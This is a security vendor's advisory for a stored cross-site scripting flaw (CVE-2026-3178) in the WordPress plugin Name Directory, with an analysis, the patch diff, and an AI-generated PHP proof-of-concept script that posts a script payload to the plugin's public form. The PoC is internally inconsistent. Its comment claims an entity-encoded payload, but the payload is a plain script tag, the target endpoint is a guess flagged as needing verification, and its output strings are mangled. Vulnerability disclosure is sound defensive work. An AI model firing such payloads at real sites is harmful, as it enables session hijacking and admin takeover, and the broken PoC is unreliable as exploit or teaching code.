Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3178: Name Directory <= 1.32.1 – Unauthenticated Stored Cross-Site Scripting via 'name_directory_name' (name-directory)

CVE ID CVE-2026-3178
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.32.1
Patched Version 1.33.0
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3178:
The root cause is insufficient input sanitization and output escaping for the ‘name_directory_name’ parameter. The vulnerability exists in the plugin’s public submission form handling. User-supplied input for the ‘name’ field is processed by the `name_directory_deep_sanitize_public_user_input` function in `name-directory/helpers.php`. The function’s pre-patch logic applies `wp_kses` to raw input after `wp_unslash`. However, it fails to decode HTML entities before sanitization. This allows an attacker to submit a payload containing HTML-encoded characters (e.g., `<script>`). The encoded payload passes through `wp_kses` and is stored in the database. When the stored name is later displayed, the plugin uses `html_entity_decode(stripslashes($name->name))` on line 930 of `name-directory/admin.php`, converting the encoded payload into active script tags. The script executes in the browser of any user viewing the affected directory page. The exploitation method is an unauthenticated POST request to the plugin’s public submission endpoint, typically a front-end form. The attacker injects a JavaScript payload via the ‘name_directory_name’ parameter. The patch in version 1.33.0 modifies the `name_directory_deep_sanitize_public_user_input` function. It adds a call to `html_entity_decode` with flags `ENT_QUOTES | ENT_HTML5` on the raw input BEFORE applying `wp_kses`. This ensures any HTML-encoded characters are decoded and then stripped by the KSES sanitizer, preventing the stored XSS vector. The impact is a stored cross-site scripting attack. Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of any user visiting the compromised directory page, leading to session hijacking or admin takeover.

Differential between vulnerable and patched code

Code Diff
--- a/name-directory/admin.php
+++ b/name-directory/admin.php
@@ -60,7 +60,7 @@
     $sub_page = '';
     if( ! empty( $_GET['sub'] ) )
     {
-        $sub_page = wp_unslash($_GET['sub']);
+        $sub_page = sanitize_text_field($_GET['sub']);
     }

     switch( $sub_page )
@@ -113,7 +113,7 @@
     }

     $wp_file = admin_url('admin.php');
-    $wp_page = $_GET['page'];
+    $wp_page = sanitize_text_field($_GET['page']);
     $wp_url_path = sprintf("%s?page=%s", $wp_file, $wp_page);
     $wp_new_url = sprintf("%s&sub=%s", $wp_url_path, 'new-directory');
     $wp_nonce = wp_create_nonce('name-directory-action');
@@ -321,8 +321,8 @@
     global $name_directory_table_directory;

     $wp_file = admin_url('admin.php');
-    $wp_page = $_GET['page'];
-    $wp_sub  = $_GET['sub'];
+    $wp_page = sanitize_text_field($_GET['page']);
+    $wp_sub  = sanitize_text_field($_GET['sub']);
     $overview_url = sprintf("%s?page=%s", $wp_file, $wp_page, $wp_sub);
     $wp_url_path = sprintf("%s?page=%s", $wp_file, $wp_page);

@@ -656,8 +656,8 @@
     }

     $wp_file = admin_url('admin.php');
-    $wp_page = $_GET['page'];
-    $wp_sub  = $_GET['sub'];
+    $wp_page = sanitize_text_field($_GET['page']);
+    $wp_sub  = sanitize_text_field($_GET['sub']);
     $overview_url = sprintf("%s?page=%s", $wp_file, $wp_page);

     if(! array_key_exists('dir', $_GET)) {
@@ -927,8 +927,8 @@
                         <a class='button button-small' href='" . $wp_url_path . "&delete_name=%d&secnonce=%s'>%s</a>
                     </td><td>%s</td>
                 </tr>",
-                    html_entity_decode(stripslashes($name->name)),
-                    html_entity_decode(stripslashes($name->description)),
+                    esc_html(stripslashes($name->name)),
+                    esc_html(stripslashes($name->description)),
                     sanitize_text_field(esc_html($name->submitted_by)),
                     $name->id,
                     $name->id,
@@ -1014,7 +1014,7 @@
             array('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d', '%s', '%s', '%s', '%d', '%d')
         );

-        $import_url = sprintf("%s?page=%s&sub=%s&dir=%d", admin_url('admin.php'), $_GET['page'], 'import', $wpdb->insert_id);
+        $import_url = sprintf("%s?page=%s&sub=%s&dir=%d", admin_url('admin.php'), sanitize_text_field($_GET['page']), 'import', $wpdb->insert_id);

         echo "<div class='updated'><p>"
             . sprintf(__('Directory %s created.', 'name-directory'), "<i>" . $cleaned_name . "</i>")
@@ -1027,7 +1027,7 @@
     $wp_nonce = wp_create_nonce('name-directory-quick');
     ?>

-    <form name="add_name" method="post" action="<?php echo sprintf("%s?page=%s&sub=quick-import&quicknonce=%s", admin_url('admin.php'), $_GET['page'], $wp_nonce); ?>">
+    <form name="add_name" method="post" action="<?php echo sprintf("%s?page=%s&sub=quick-import&quicknonce=%s", admin_url('admin.php'), sanitize_text_field($_GET['page']), $wp_nonce); ?>">
         <table class="wp-list-table widefat" cellpadding="0">
             <thead>
             <tr>
@@ -1179,8 +1179,8 @@
     }

     $wp_file = admin_url('admin.php');
-    $wp_page = $_GET['page'];
-    $wp_sub  = $_GET['sub'];
+    $wp_page = sanitize_text_field($_GET['page']);
+    $wp_sub  = sanitize_text_field($_GET['sub']);
     $overview_url = sprintf("%s?page=%s", $wp_file, $wp_page);
     $wp_url_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, $wp_sub, $directory_id);
     $wp_ndir_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, 'manage-directory', $directory_id);
--- a/name-directory/helpers.php
+++ b/name-directory/helpers.php
@@ -600,12 +600,16 @@
  * @return mixed
  */
 function name_directory_deep_sanitize_public_user_input($input, $allowed_tags = null) {
+
     $raw = trim( wp_unslash( (string)$input ) );

+    $decoded = html_entity_decode( $raw, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+
     if( ! is_array( $allowed_tags ) ) {
         $allowed_tags = array('p' => array(), 'br' => array(), 'strong'=>array(), 'em'=>array());
     }
-    return wp_kses( $raw, $allowed_tags );
+
+    return wp_kses( $decoded, $allowed_tags );
 }

 function name_directory_get_html_tag_options() {
--- a/name-directory/index.php
+++ b/name-directory/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Name Directory
  * Plugin URI: https://jeroenpeters.dev/wordpress-plugin-name-directory/
  * Description: A Name Directory, i.e. for animal names or to create a glossary. Visitors can add, search or just browse all names.
- * Version: 1.32.1
+ * Version: 1.33.0
  * Author: Jeroen Peters
  * Author URI: https://jeroenpeters.dev
  * Text Domain: name-directory

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3178 - Name Directory <= 1.32.1 - Unauthenticated Stored Cross-Site Scripting via 'name_directory_name'
<?php
$target_url = 'http://example.com/wp-content/plugins/name-directory/'; // Base plugin URL

// The payload uses HTML entity encoding to bypass the pre-patch sanitization.
$payload = '<script>alert(document.domain)</script>';

// Identify the submission endpoint. The plugin typically uses a front-end form.
// The exact endpoint path may vary based on plugin configuration.
// This PoC targets the public submission handler.
$submit_url = $target_url . 'submit.php'; // Example endpoint; actual path needs verification.

// Prepare POST data with the malicious name parameter.
$post_data = array(
    'name_directory_name' => $payload,
    'name_directory_description' => 'Test description',
    'submitted_by' => 'attacker'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Payload submitted. Check the name directory page for XSS execution.n";
} else {
    echo "Submission failed with HTTP code: $http_coden";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School